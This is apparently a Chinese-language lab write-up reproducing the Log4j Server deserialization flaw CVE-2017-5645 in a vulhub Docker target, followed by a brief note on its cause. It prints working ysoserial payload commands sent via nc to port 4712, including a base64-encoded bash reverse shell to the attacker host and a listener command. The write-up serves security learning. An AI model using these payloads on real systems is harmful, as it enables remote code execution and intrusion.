Apache Log4j Server 反序列化命令执行漏洞
1.实验目的
复现并分析【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞,
使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。
2.覆盖知识点
Apache
Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。
Apache Log4j
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java 下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具 作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。
Docker
Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。
3实验环境与操作
实验环境
1、VMware Workstation 16
2、Ubuntu 20.4 操作系统(靶场安装环境)
IP地址:192.168.32.135
3、kali Linux
IP地址:192.168.32.128
4、vulhub靶场
实验步骤
进入Ubuntu环境中开启docker
servise start docker
进入到vulhub靶场目录下进入
cd vulhub/log4j/CVE-2017-5645
开启docker、docker-compose
docker-compose up -d
成功建立环境后查看docker环境配置
从环境配置中可以看到,将在4712端口开启一个TCP服务
我们使用ysoserial生成payload,然后发送给目标靶机4712端口即可
java -jar ysoserial.jar CommonsCollections5 “touch /tmp/success” | nc
192.168.32.135 4712
ysoserial项目下载地址:
https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
下载完成后拖进kali中然后在相应的文件夹中使用该工具生成payload发送给目标主机的4712端口
但是我的kali中并没有直接显示picked up _JAVA_OPTIONS的提示,所以我选择通过查看Ubuntu靶机查看是否成功执行系统命令。
进入容器,查看在运行容器的ID,通过exec 命令对指定的容器执行 bash进入查看temp目录下是否成功生成error0文件,可以看到我们成功在Ubuntu中创建了相应的文件。
尝试通过创建反弹shell构造payload
首先对于反弹shell指令:
bash -i >& /dev/tcp/192.168.32.128/9999 0>&1
然后对反弹shell进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC85OTk5IDA+JjE=
在实现反弹shell之前需要在kali中监听Ubuntu的对应端口进行监听:
nc -lvvp 9999
然后在ysoserial构造payload:
java -jar ysoserial-all.jar CommonsCollections5 “bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}”
| nc 192.168.32.135 4712
做到这一步但是我所监听的9999端口并没有弹出shell,按照常规流程是会在监听的9999端口弹出root并可以访问到Ubuntu镜像的内容(失败的原因可能是我安装的java流程有问题,虽然Java的版本也是1.8就是所要求的环境;另外的原因就不为所知了)
后来复现成功了:成功的原因是将Java的环境设置为1.8.0_202能够将我们所用到的jar包运行。
执行指令后查看端口可以看到反弹shell成功,并且查看相应的tmp文件下也有我们使用payload创立的文件
漏洞原因
这个漏洞主要是log4j的序列号机制,当程序处理外来的序列化数据时并没有对外来的数据进行限制或者是检查所以会被直接运行导致攻击者可以通过这样的方式能够植入恶意代码然后实现攻击。而且这个是基于Java程序的所以通过网络查找相关知识这是ObjectlnputStream类有关。
对于该漏洞的更详细的漏洞成因可以去先知社区或者是其他博客中寻找相关内容,本人技术有限不做对于漏洞成因的过多赘述。